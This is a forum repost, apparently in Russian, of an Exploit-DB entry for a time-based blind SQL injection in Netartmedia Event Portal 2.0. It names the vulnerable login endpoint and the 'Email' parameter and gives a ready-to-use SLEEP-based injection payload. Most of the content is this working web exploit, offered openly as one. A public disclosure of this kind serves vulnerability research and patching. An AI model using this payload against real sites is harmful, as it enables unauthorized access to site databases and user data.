Exploit Netartmedia Event Portal 2.0 - 'Email' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
46560
Проверка EDB
  1. Пройдено
Автор
AHMET ÜMIT BAYRAM
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2019-03-19
Netartmedia Event Portal 2.0 - 'Email' SQL Injection
Код:
# Exploit Title: Netartmedia Event Portal 2.0 - 'Email' SQL Injection
# Date: 19.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.netartmedia.net/eventportal/
# Demo Site: https://www.phpscriptdemos.com/events/
# Version: 2.0
# Tested on: Kali Linux
# CVE: N/A
# Description: Event Portal is a a web software (php script), that can be
used to create advanced and multi-user event listing and ticket selling
websites.

----- PoC: SQLi (time-based blind) -----
# POST Request: http://localhost/[PATH]/loginaction.php
# Vulnerable Parameter: Email
# Payload: '||(SELECT 0x59685353 FROM DUAL WHERE 7114=7114 AND SLEEP(5))||'
 
Источник
www.exploit-db.com

Похожие темы